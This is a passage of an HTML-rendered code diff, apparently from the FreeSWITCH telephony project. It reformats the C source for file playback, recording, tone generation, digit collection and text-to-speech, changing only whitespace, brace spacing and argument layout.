</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Can't find any macro tags.\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -269,9 +269,10 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 odata = expanded;
</span><span class="cx">                                         }
</span><del>-                                        
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Handle %s:[%s] (%s:%s)\n&quot;, func, odata, chan_lang, module_name);
</del><span class="cx"> 
</span><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Handle %s:[%s] (%s:%s)\n&quot;, func, odata, chan_lang,
+                                                                          module_name);
+
</ins><span class="cx">                                         if (!strcasecmp(func, &quot;play-file&quot;)) {
</span><span class="cx">                                                 status = switch_ivr_play_file(session, NULL, odata, args);
</span><span class="cx">                                         } else if (!strcasecmp(func, &quot;phrase&quot;)) {
</span><span class="lines">@@ -357,7 +358,7 @@
</span><span class="cx">                 input = input-&gt;next;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (hint_data) {
</span><span class="cx">                 switch_event_destroy(&amp;hint_data);
</span><span class="lines">@@ -393,21 +394,21 @@
</span><span class="cx">         uint32_t org_silence_hits = 0;
</span><span class="cx">         int asis = 0;
</span><span class="cx">         int waste_resources = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         unsigned char write_buf[SWITCH_RECOMMENDED_BUFFER_SIZE] = { 0 };
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         int divisor = 0;
</span><span class="cx">         int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
</span><span class="cx">         const char *prefix;
</span><del>-        
</del><ins>+
</ins><span class="cx">         prefix = switch_channel_get_variable(channel, &quot;sound_prefix&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!prefix) {
</span><span class="cx">                 prefix = SWITCH_GLOBAL_dirs.sounds_dir;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (!(divisor = read_impl.actual_samples_per_second / 8000)) {
</span><span class="cx">                 divisor = 1;
</span><span class="lines">@@ -421,7 +422,7 @@
</span><span class="cx">         if (switch_channel_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -445,7 +446,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if ((vval = switch_channel_get_variable(channel, &quot;record_waste_resources&quot;))) {
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_true(vval)) {
</span><span class="cx">                         waste_resources = 1400;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -472,7 +473,7 @@
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strstr(file, SWITCH_URL_SEPARATOR)) {
</span><span class="cx">                 char *ext;
</span><span class="cx"> 
</span><span class="lines">@@ -489,7 +490,7 @@
</span><span class="cx">                                         tfile = NULL;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         file = switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;, switch_str_nil(tfile), tfile ? &quot;]&quot; : &quot;&quot;, prefix, SWITCH_PATH_SEPARATOR, file);
</span><span class="cx">                 }
</span><span class="cx">                 if ((ext = strrchr(file, '.'))) {
</span><span class="lines">@@ -513,12 +514,8 @@
</span><span class="cx">         if (!fh-&gt;prefix) {
</span><span class="cx">                 fh-&gt;prefix = prefix;
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_file_open(fh,
-                                                          file,
-                                                          fh-&gt;channels,
-                                                          read_impl.actual_samples_per_second,
-                                                          file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_file_open(fh, file, fh-&gt;channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -589,7 +586,7 @@
</span><span class="cx">         if (limit) {
</span><span class="cx">                 start = switch_epoch_time_now(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (fh-&gt;thresh) {
</span><span class="cx">                 if (asis) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Can't detect silence on a native recording.\n&quot;);
</span><span class="lines">@@ -632,9 +629,9 @@
</span><span class="cx"> 
</span><span class="cx">                 if (args &amp;&amp; (args-&gt;input_callback || args-&gt;buf || args-&gt;buflen)) {
</span><span class="cx">                         /*
</span><del>-                          dtmf handler function you can hook up to be executed when a digit is dialed during playback 
-                          if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                        */
</del><ins>+                           dtmf handler function you can hook up to be executed when a digit is dialed during playback 
+                           if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                         */
</ins><span class="cx">                         if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                 if (!args-&gt;input_callback &amp;&amp; !args-&gt;buf) {
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -700,7 +697,7 @@
</span><span class="cx">                 if (!switch_test_flag(fh, SWITCH_FILE_PAUSE) &amp;&amp; !switch_test_flag(read_frame, SFF_CNG)) {
</span><span class="cx">                         int16_t *data = read_frame-&gt;data;
</span><span class="cx">                         len = (switch_size_t) asis ? read_frame-&gt;datalen : read_frame-&gt;datalen / 2;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_write(fh, data, &amp;len) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -727,7 +724,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_file_close(fh);
</span><span class="cx"> 
</span><del>-        if (read_impl.samples_per_second)  {
</del><ins>+        if (read_impl.samples_per_second) {
</ins><span class="cx">                 switch_channel_set_variable_printf(channel, &quot;record_seconds&quot;, &quot;%d&quot;, fh-&gt;samples_out / read_impl.samples_per_second);
</span><span class="cx">                 switch_channel_set_variable_printf(channel, &quot;record_ms&quot;, &quot;%d&quot;, fh-&gt;samples_out / (read_impl.samples_per_second / 1000));
</span><span class="cx"> 
</span><span class="lines">@@ -764,8 +761,8 @@
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><span class="cx">         switch_byte_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -828,9 +825,9 @@
</span><span class="cx"> 
</span><span class="cx">                 if (args &amp;&amp; (args-&gt;input_callback || args-&gt;buf || args-&gt;buflen)) {
</span><span class="cx">                         /*
</span><del>-                          dtmf handler function you can hook up to be executed when a digit is dialed during gentones 
-                          if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                        */
</del><ins>+                           dtmf handler function you can hook up to be executed when a digit is dialed during gentones 
+                           if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                         */
</ins><span class="cx">                         if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                 if (!args-&gt;input_callback &amp;&amp; !args-&gt;buf) {
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="lines">@@ -914,14 +911,14 @@
</span><span class="cx">         int eof = 0;
</span><span class="cx">         switch_size_t bread = 0;
</span><span class="cx">         int l16 = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         char *file_dup;
</span><span class="cx">         char *argv[128] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         int cur;
</span><span class="cx">         int done = 0;
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if ((play_delimiter_val = switch_channel_get_variable(channel, &quot;playback_delimiter&quot;))) {
</span><span class="cx">                 play_delimiter = *play_delimiter_val;
</span><span class="lines">@@ -949,27 +946,27 @@
</span><span class="cx">                 l16++;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (play_delimiter) {
</span><span class="cx">                 file_dup = switch_core_session_strdup(session, file);
</span><span class="cx">                 argc = switch_separate_string(file_dup, play_delimiter, argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         } else {
</span><span class="cx">                 argc = 1;
</span><del>-                argv[0] = (char *)file;
</del><ins>+                argv[0] = (char *) file;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        for(cur = 0; switch_channel_ready(channel) &amp;&amp; !done &amp;&amp; cur &lt; argc; cur++) {
</del><ins>+        for (cur = 0; switch_channel_ready(channel) &amp;&amp; !done &amp;&amp; cur &lt; argc; cur++) {
</ins><span class="cx">                 file = argv[cur];
</span><span class="cx">                 asis = 0;
</span><span class="cx">                 eof = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cur) {
</span><span class="cx">                         fh-&gt;samples = sample_start = 0;
</span><span class="cx">                         if (sleep_val_i) {
</span><span class="cx">                                 switch_ivr_sleep(session, sleep_val_i, SWITCH_FALSE, args);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">                 if ((alt = strchr(file, ':'))) {
</span><span class="lines">@@ -1061,7 +1058,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!fh) {
</span><span class="cx">                         fh = &amp;lfh;
</span><span class="cx">                         memset(fh, 0, sizeof(lfh));
</span><span class="lines">@@ -1078,8 +1075,8 @@
</span><span class="cx">                                 fh-&gt;prebuf = maybe;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 if (!fh-&gt;prefix) {
</span><span class="cx">                         fh-&gt;prefix = prefix;
</span><span class="cx">                 }
</span><span class="lines">@@ -1087,8 +1084,7 @@
</span><span class="cx">                 if (switch_core_file_open(fh,
</span><span class="cx">                                                                   file,
</span><span class="cx">                                                                   read_impl.number_of_channels,
</span><del>-                                                                  read_impl.actual_samples_per_second,
-                                                                  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                  read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="cx">                         status = SWITCH_STATUS_NOTFOUND;
</span><span class="cx">                         continue;
</span><span class="lines">@@ -1161,8 +1157,8 @@
</span><span class="cx">                                                                                    interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
</span><span class="cx">                                                                           SWITCH_LOG_DEBUG, &quot;Codec Activated %s@%uhz %u channels %dms\n&quot;, codec_name, fh-&gt;samplerate, fh-&gt;channels, interval);
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                           &quot;Raw Codec Activation Failed %s@%uhz %u channels %dms\n&quot;, codec_name, fh-&gt;samplerate, fh-&gt;channels, interval);
</span><span class="lines">@@ -1208,27 +1204,27 @@
</span><span class="cx"> 
</span><span class="cx">                         if (!switch_channel_ready(channel)) {
</span><span class="cx">                                 status = SWITCH_STATUS_FALSE;
</span><del>-                                break; 
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_BREAK)) {
</span><span class="cx">                                 switch_channel_clear_flag(channel, CF_BREAK);
</span><span class="cx">                                 status = SWITCH_STATUS_BREAK;
</span><del>-                                break; 
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_ivr_parse_all_events(session);
</span><span class="cx"> 
</span><span class="cx">                         if (args &amp;&amp; (args-&gt;input_callback || args-&gt;buf || args-&gt;buflen)) {
</span><span class="cx">                                 /*
</span><del>-                                  dtmf handler function you can hook up to be executed when a digit is dialed during playback 
-                                  if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-                                */
</del><ins>+                                   dtmf handler function you can hook up to be executed when a digit is dialed during playback 
+                                   if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+                                 */
</ins><span class="cx">                                 if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                         if (!args-&gt;input_callback &amp;&amp; !args-&gt;buf) {
</span><span class="cx">                                                 status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                                 done = 1;
</span><del>-                                                break; 
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_channel_dequeue_dtmf(channel, &amp;dtmf);
</span><span class="cx">                                         if (args-&gt;input_callback) {
</span><span class="lines">@@ -1250,7 +1246,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         done = 1;
</span><del>-                                        break; 
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1266,7 +1262,7 @@
</span><span class="cx">                                         if (eof) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         } else {
</span><del>-                                                break; 
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1279,7 +1275,7 @@
</span><span class="cx">                         } else if (fh-&gt;audio_buffer &amp;&amp; (eof || (switch_buffer_inuse(fh-&gt;audio_buffer) &gt; (switch_size_t) (framelen)))) {
</span><span class="cx">                                 if (!(bread = switch_buffer_read(fh-&gt;audio_buffer, abuf, framelen))) {
</span><span class="cx">                                         if (eof) {
</span><del>-                                                break; 
</del><ins>+                                                break;
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1310,7 +1306,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (done || olen &lt;= 0) {
</span><del>-                                break; 
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (!asis) {
</span><span class="lines">@@ -1413,18 +1409,18 @@
</span><span class="cx">                                 continue;
</span><span class="cx">                         } else if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 done = 1;
</span><del>-                                break; 
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (done) {
</span><del>-                                break; 
</del><ins>+                                break;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (timer_name) {
</span><span class="cx">                                 if (switch_core_timer_next(&amp;timer) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        break; 
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><del>-                        } else {                                /* time off the channel (if you must) */
</del><ins>+                        } else {                        /* time off the channel (if you must) */
</ins><span class="cx">                                 switch_frame_t *read_frame;
</span><span class="cx">                                 switch_status_t tstatus;
</span><span class="cx">                                 while (switch_channel_ready(channel) &amp;&amp; switch_channel_test_flag(channel, CF_HOLD)) {
</span><span class="lines">@@ -1434,7 +1430,7 @@
</span><span class="cx">                                 tstatus = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx"> 
</span><span class="cx">                                 if (!SWITCH_READ_ACCEPTABLE(tstatus)) {
</span><del>-                                        break; 
</del><ins>+                                        break;
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (args &amp;&amp; (args-&gt;read_frame_callback)) {
</span><span class="lines">@@ -1445,19 +1441,17 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_clear_flag(fh, SWITCH_FILE_CALLBACK);
</span><span class="cx">                                         if (!ok) {
</span><del>-                                                break; 
</del><ins>+                                                break;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;done playing file\n&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (read_impl.samples_per_second) {
</span><del>-                        switch_channel_set_variable_printf(channel, &quot;playback_seconds&quot;, 
-                                                                                           &quot;%d&quot;, fh-&gt;samples_out / read_impl.samples_per_second);
-                        switch_channel_set_variable_printf(channel, &quot;playback_ms&quot;, 
-                                                                                           &quot;%d&quot;, fh-&gt;samples_out / (read_impl.samples_per_second / 1000) );
</del><ins>+                        switch_channel_set_variable_printf(channel, &quot;playback_seconds&quot;, &quot;%d&quot;, fh-&gt;samples_out / read_impl.samples_per_second);
+                        switch_channel_set_variable_printf(channel, &quot;playback_ms&quot;, &quot;%d&quot;, fh-&gt;samples_out / (read_impl.samples_per_second / 1000));
</ins><span class="cx">                 }
</span><span class="cx">                 switch_channel_set_variable_printf(channel, &quot;playback_samples&quot;, &quot;%d&quot;, fh-&gt;samples_out);
</span><span class="cx"> 
</span><span class="lines">@@ -1466,7 +1460,7 @@
</span><span class="cx">                 if (fh-&gt;audio_buffer) {
</span><span class="cx">                         switch_buffer_destroy(&amp;fh-&gt;audio_buffer);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (fh-&gt;sp_audio_buffer) {
</span><span class="cx">                         switch_buffer_destroy(&amp;fh-&gt;sp_audio_buffer);
</span><span class="cx">                 }
</span><span class="lines">@@ -1502,13 +1496,13 @@
</span><span class="cx">         int16_t *data;
</span><span class="cx">         uint32_t listening = 0;
</span><span class="cx">         int countdown = 0;
</span><del>-        switch_codec_t raw_codec = {0};
</del><ins>+        switch_codec_t raw_codec = { 0 };
</ins><span class="cx">         int16_t *abuf = NULL;
</span><del>-        switch_frame_t write_frame = {0};
-        switch_file_handle_t fh = {0};
</del><ins>+        switch_frame_t write_frame = { 0 };
+        switch_file_handle_t fh = { 0 };
</ins><span class="cx">         int32_t sample_count = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (timeout_ms) {
</span><span class="lines">@@ -1519,8 +1513,7 @@
</span><span class="cx">                 if (switch_core_file_open(&amp;fh,
</span><span class="cx">                                                                   file,
</span><span class="cx">                                                                   read_impl.number_of_channels,
</span><del>-                                                                  read_impl.actual_samples_per_second,
-                                                                  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                  read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="cx">                         return SWITCH_STATUS_NOTFOUND;
</span><span class="cx">                 }
</span><span class="lines">@@ -1552,7 +1545,7 @@
</span><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx"> 
</span><span class="cx">                 status = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1563,21 +1556,21 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (abuf) {
</span><span class="cx">                         switch_size_t olen = raw_codec.implementation-&gt;samples_per_packet;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_read(&amp;fh, abuf, &amp;olen) != SWITCH_STATUS_SUCCESS) {
</span><del>-                break;
-            }
-                        
-                        write_frame.samples = (uint32_t)olen;
-                        write_frame.datalen = (uint32_t)(olen * sizeof(int16_t));
</del><ins>+                                break;
+                        }
+
+                        write_frame.samples = (uint32_t) olen;
+                        write_frame.datalen = (uint32_t) (olen * sizeof(int16_t));
</ins><span class="cx">                         if ((status = switch_core_session_write_frame(session, &amp;write_frame, SWITCH_IO_FLAG_NONE, 0)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (countdown) {
</span><span class="cx">                         if (!--countdown) {
</span><span class="cx">                                 break;
</span><span class="lines">@@ -1587,14 +1580,14 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 data = (int16_t *) read_frame-&gt;data;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (energy = 0, j = 0, count = 0; count &lt; read_frame-&gt;samples; count++) {
</span><span class="cx">                         energy += abs(data[j++]);
</span><span class="cx">                         j += channels;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 score = (uint32_t) (energy / (read_frame-&gt;samples / divisor));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (score &gt;= thresh) {
</span><span class="cx">                         listening++;
</span><span class="cx">                 }
</span><span class="lines">@@ -1611,7 +1604,7 @@
</span><span class="cx">         switch_core_session_reset(session, SWITCH_FALSE, SWITCH_TRUE);
</span><span class="cx">         switch_core_codec_destroy(&amp;raw_codec);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (abuf) {
</span><span class="cx">                 switch_core_file_close(&amp;fh);
</span><span class="lines">@@ -1626,10 +1619,7 @@
</span><span class="cx">                                                                                                 uint32_t max_digits,
</span><span class="cx">                                                                                                 const char *prompt_audio_file,
</span><span class="cx">                                                                                                 const char *var_name,
</span><del>-                                                                                                char *digit_buffer, 
-                                                                                                switch_size_t digit_buffer_length, 
-                                                                                                uint32_t timeout, 
-                                                                                                const char *valid_terminators)
</del><ins>+                                                                                                char *digit_buffer, switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_input_args_t args = { 0 };
</span><span class="lines">@@ -1640,7 +1630,7 @@
</span><span class="cx">         switch_assert(session);
</span><span class="cx"> 
</span><span class="cx">         if (max_digits &lt; min_digits) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                   &quot;Max digits %u is less than Min %u, forcing Max to %u\n&quot;, max_digits, min_digits, min_digits);
</span><span class="cx">                 max_digits = min_digits;
</span><span class="cx">         }
</span><span class="lines">@@ -1703,11 +1693,11 @@
</span><span class="cx">         default:
</span><span class="cx">                 switch_channel_set_variable(channel, SWITCH_READ_RESULT_VARIABLE, &quot;failure&quot;);
</span><span class="cx">                 break;
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx"> 
</span><ins>+  end:
+
</ins><span class="cx">         if (max_digits == 1 &amp;&amp; len == 1 &amp;&amp; valid_terminators &amp;&amp; strchr(valid_terminators, *digit_buffer)) {
</span><span class="cx">                 *digit_buffer = '\0';
</span><span class="cx">         }
</span><span class="lines">@@ -1727,30 +1717,28 @@
</span><span class="cx">                                                                                                                    uint32_t timeout,
</span><span class="cx">                                                                                                                    const char *valid_terminators,
</span><span class="cx">                                                                                                                    const char *prompt_audio_file,
</span><del>-                                                                                                                   const char *bad_input_audio_file, 
</del><ins>+                                                                                                                   const char *bad_input_audio_file,
</ins><span class="cx">                                                                                                                    const char *var_name,
</span><del>-                                                                                                                   char *digit_buffer, 
-                                                                                                                   uint32_t digit_buffer_length,
-                                                                                                                   const char *digits_regex)
</del><ins>+                                                                                                                   char *digit_buffer, uint32_t digit_buffer_length, const char *digits_regex)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><del>-        while(switch_channel_ready(channel) &amp;&amp; max_tries) {
</del><ins>+        while (switch_channel_ready(channel) &amp;&amp; max_tries) {
</ins><span class="cx">                 switch_status_t status;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(digit_buffer, 0, digit_buffer_length);
</span><span class="cx">                 switch_channel_flush_dtmf(channel);
</span><del>-                status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name, 
</del><ins>+                status = switch_ivr_read(session, min_digits, max_digits, prompt_audio_file, var_name,
</ins><span class="cx">                                                                  digit_buffer, digit_buffer_length, timeout, valid_terminators);
</span><span class="cx">                 if (status == SWITCH_STATUS_TIMEOUT &amp;&amp; strlen(digit_buffer) &gt;= min_digits) {
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (status == SWITCH_STATUS_TOO_SMALL &amp;&amp; strlen(digit_buffer) == 0) {
-                        return SWITCH_STATUS_FALSE;
-                }
-                                                        
</del><ins>+                if (status == SWITCH_STATUS_TOO_SMALL &amp;&amp; strlen(digit_buffer) == 0) {
+                        return SWITCH_STATUS_FALSE;
+                }
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         if (!zstr(digit_buffer)) {
</span><span class="cx">                                 if (zstr(digits_regex)) {
</span><span class="lines">@@ -2077,8 +2065,8 @@
</span><span class="cx">         const char *timer_name, *var;
</span><span class="cx">         cached_speech_handle_t *cache_obj = NULL;
</span><span class="cx">         int need_create = 1, need_alloc = 1;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2122,7 +2110,7 @@
</span><span class="cx">         if (need_create) {
</span><span class="cx">                 memset(sh, 0, sizeof(*sh));
</span><span class="cx">                 if ((status = switch_core_speech_open(sh, tts_name, voice_name, (uint32_t) rate, interval,
</span><del>-                                                                        &amp;flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                          &amp;flags, switch_core_session_get_pool(session))) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Invalid TTS module!\n&quot;);
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                         if (cache_obj) {
</span><span class="lines">@@ -2149,7 +2137,8 @@
</span><span class="cx">                                                                    pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Raw Codec Activated\n&quot;);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Raw Codec Activation Failed %s@%uhz 1 channel %dms\n&quot;, codec_name, rate, interval);
